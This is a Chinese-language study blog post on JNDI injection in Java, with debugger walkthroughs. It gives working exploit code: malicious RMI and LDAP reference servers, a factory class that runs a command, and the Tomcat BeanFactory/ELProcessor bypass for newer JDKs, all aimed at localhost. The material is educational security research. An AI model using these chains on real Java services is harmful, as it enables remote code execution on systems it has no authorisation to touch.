前言
开始JNDI的学习,一定要多敲敲代码啊(对自己说)
官方文档地址:课程:JNDI(Java™ 命名与目录接口>教程)概述
JNDI概念
JNDI是java命名与目录接口,一个名字对应一个java对象,也就是说一个字符串对应一个Java对象.
JNDI在jdk里面支持一下服务:
- LDAP:轻量级目录访问协议
- 通用对象请求代理架构(CORBA);通用对象服务(COS)名称服务
- java远程调用(RMI)注册表
- DNS服务
JNDI的利用方式与漏洞
JNDI在RMI中的利用
RMI服务端的接口类和实现类,和之前一样就可以.
重点改变的是使用JDNI的方式去绑定远程对象到注册中心,以及使用JDNI的方式去调用这个远程对象.
服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import javax.naming.InitialContext; import javax.naming.NamingException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class JNDIRMIserver { public static void main(String[] args) throws NamingException, RemoteException { Registry registry = LocateRegistry.createRegistry(1099); InitialContext initialContext = new InitialContext(); initialContext.rebind("rmi://localhost:1099/remoteobject", new remoteObject()); } }
|
客户端
1 2 3 4 5 6 7 8 9 10
| import javax.naming.InitialContext; import javax.naming.NamingException; public class JNDIRMIclient { public static void main(String[] args) throws NamingException { InitialContext initialContext = new InitialContext(); IremoteObject lookup = (IremoteObject) initialContext.lookup("rmi://localhost:1099/remoteobject"); System.out.println(lookup.sayHello("Li")); } }
|
RMI的原生漏洞

这里去查询一个RMI服务(这个服务是我们可以利用的),如果这个服务是恶意的服务,那就会产生漏洞.
但是这个服务呢,它不是传统的JNDI注入漏洞(利用的是引用对象),它是一个RMI的原生漏洞(远程对象)(我们之前分析的)
具体可见:

我们在客户端下断点一直不如lookup,来看看会调用到哪里,也就是图上所述的RegistryContext

这里也就很明显了,调用的就是原生RMI的lookup
传统JNDI注入(结合RMI)

这以上是可储存在目录中的对象,而刚刚分析的RMI就是远程对象的一种.但是传统的JNDI注入是指可引用的对象.
引用对象的作用:主要就是进行一个封装,就比如我们要绑定一个自己的对象,但是我们的这个对象不满足以上5种的格式,这时候就需要利用引用对象使其满足.

这个具体的实现逻辑就是他会在工厂里面写一些代码逻辑,就在你查询或者调用它的时候就会执行这些代码逻辑.因为工厂的位置是我们可以控制的,所以传递一些恶意工厂的位置就会执行恶意的代码.
那么这时候我们就可以这样写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import javax.naming.InitialContext; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class JNDIRMIserver { public static void main(String[] args) throws NamingException, RemoteException { Registry registry = LocateRegistry.createRegistry(1099); InitialContext initialContext = new InitialContext(); // initialContext.rebind("rmi://localhost:1099/remoteobject", new remoteObject()); Reference reference = new Reference("TestRef","TestRef","http://localhost:7777/"); initialContext.rebind("rmi://localhost:1099/remoteobject", reference); } }
|
我们使用的TestRef类的内容为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.util.Hashtable; // 1. 必须实现 ObjectFactory 接口 public class TestRef implements ObjectFactory { public TestRef() throws IOException { Runtime.getRuntime().exec("calc"); } // 2. 必须重写这个方法,否则会因为不是抽象类且未实现方法而编译报错 @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; // 这里返回什么不重要,重点是接口类型要匹配 } }
|
来执行恶意命令

分析
打断点调试到rmi原生调用的点,这里获取的是rmi上的ReferenceWrapper_stub对象

但是我们绑定的时候绑定的是一个reference对象,那么查的时候怎么就变了呢?我们就回头来看一下,bind的逻辑.

依旧是到绑定的地方,这里绑定的名字是没有改变的,但是对象被encodeObject了

这里的如果对象是reference的话,那就会封装为referenceWrapper
在回到客户端继续走

这里有一个decodeObject正好和前面的encode对应上了.

这里就是如果是referenceWrapper类就会变成reference,也就是我们刚开始传的.然后这里调用getObjectInstance这个方法,这里是一个静态的方法,到这里还没有进入到命令执行的方法里,所以具体的执行点是在这个静态的方法或者在向里,那么具体的执行就和容器无关了.也就是不只有RMI会出现这种漏洞.

然后到这边,从名字就可以看到,它的意思是从引用里获取工厂,步入

到这里就开始进行一个类加载
接着是进行一个本地的去寻找TestRef类,一般在本地是不会找到这个类的,所以不要将这个恶意类放到本地,也就是target里,放到外面的文件夹里,开启一个python服务。
如果放在本地,第一次肯定是能找到的,就用不到codebase了。但是如果不放本地,就找不到,还是要用到codebase

codebase看值也知道要用一个urlclassloader,来加载


到这里的loadclass,根据urlclassloader的url来找类,进行加载。

最后实例化执行
总结
前提:攻击者能够篡改rmi服务使其指向一个恶意的rmi服务
- 访问恶意rmi服务,获取到一个恶意的地址(存有恶意对象)
- 根据地址访问恶意对象
- 遭受到攻击
传统的JNDI注入(结合LDAP)
LDAP(轻量级目录访问协议)是一种用于访问和维护分布式目录信息服务的应用协议。
你可以把LDAP想象成一个专门为“读多写少”场景优化的、层级结构的“电子电话簿”或“企业通讯录”。它主要用于存储用户、计算机和其他资源的信息,并用于认证和授权。
在本地可以使用apache Directory Studio启动一个ldap服务

jndi的服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import javax.naming.InitialContext; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class JNDIRMIserver { public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("TestRef","TestRef","http://localhost:7777/"); initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com", reference); } }
|
将要加载的类的位置填充到ldap的服务中

客户端
1 2 3 4 5 6 7 8 9 10
| import javax.naming.InitialContext; import javax.naming.NamingException; public class JNDIRMIclient { public static void main(String[] args) throws NamingException { InitialContext initialContext = new InitialContext(); IremoteObject lookup = (IremoteObject) initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
} }
|

执行命令加载恶意类并执行命令
分析
前面的我们就不看了

调到这里和分析rmi的时候一样使用decodeObject方法获取地址,类名什么的对应服务端的encodeObject了。
然后

我们向这里跟

从引用里获取工厂,也就是恶意类

加载恶意类

实例化,触发
JNDI的高版本绕过方法
首先是针对RMI的在8u121之后rmi就不能够直接进行利用了。
因此,需要使用LDAP进行绕过,也就是从jdk8u121~jdk8u191 都是可以使用LDAP进行绕过的
但是jdk8u191之后,由于在类加载的过程中添加了对trustURLCodebase的值是否为true的判断,导致,我们无法直接加载codebase,所以也就无法进行urlclassloader。

具体的逻辑是在这里
绕过方法
使用本地Class作为Reference Factory
明确一点现在codebase是不能使用的,也就是不能进行urlclassloder,那么也就是我们写的url(位置)是用不了的,远程的既然用不了,就可以试一下本地的factory类。这个类要实现ObjectFactory这个接口。这里找到的是BeanFactory这个类。
依赖包是
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <dependencies> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.63</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-el-api</artifactId> <version>8.5.63</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-jasper-el</artifactId> <version>8.5.63</version> </dependency> </dependencies>
|
然后就是使用beanfactory绕过的具体方法
服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import org.apache.naming.ResourceRef; import javax.naming.InitialContext; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.StringRefAddr; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class JNDIRMIserver { public static void main(String[] args) throws NamingException, RemoteException { Registry registry = LocateRegistry.createRegistry(1099); InitialContext initialContext = new InitialContext();
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); resourceRef.add(new StringRefAddr("forceString","x=eval")); resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('calc')")); initialContext.rebind("rmi://localhost:1099/RO", resourceRef); } }
|
具体解释一下
Registry registry = LocateRegistry.createRegistry(1099); 启动一个注册中心
1 2 3 4
| ResourceRef resourceRef = new ResourceRef( "javax.el.ELProcessor", true, "org.apache.naming.factory.BeanFactory", null );
|
这一串代码的目的是:我们想欺骗 BeanFactory 帮我们在客户端本地创建一个 ELProcessor 对象,并执行恶意代码。
resourceRef.add(new StringRefAddr("forceString", "x=eval")); : 如果你看到属性 x,不要去找 setX() 方法,而是强制去调用 eval() 方法
resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')")); :给x赋上值,符合上述逻辑,在看到x是不会强制调用setx方法,而是会调用eval从而执行elProcessor.eval(“Runtime.getRuntime().exec(‘calc’)”)
最后就是bind
总之,利用的恶意类是ELProcessor,我们使用BeanFactory给它一个属性,并强制更改属性被eval调用,值为恶意命令。
客户端
1 2 3 4 5 6 7 8 9 10
| import javax.naming.InitialContext; import javax.naming.NamingException; public class JNDIRMIclient { public static void main(String[] args) throws NamingException { InitialContext initialContext = new InitialContext(); IremoteObject lookup = (IremoteObject) initialContext.lookup("rmi://localhost:1099/RO");
} }
|

流程分析

从getObjectInstance开始入手

接着到getObjectFactoryFromReference

这里加载beanfactory类,然后强转为ObjectFactory,根据这一点,我们使用的本地类是要满足实现ObjectFactory接口的。
最后调回到第二个getObjectInstance


这里判断是否为ResourceRef类的实例
然后在经过一系列操作之后(这里不细看了),会调用到这里

会利用反射执行ELProccessor的eval方法,这里的值为

从而执行恶意命令
总结
jndi差不多就结束了,高版本的绕过还有很多,后面在补充吧。
参考
Java反序列化之JNDI学习 | Drunkbaby’s Blog
https://www.bilibili.com/video/BV1ct4y1h79t?t=1110.0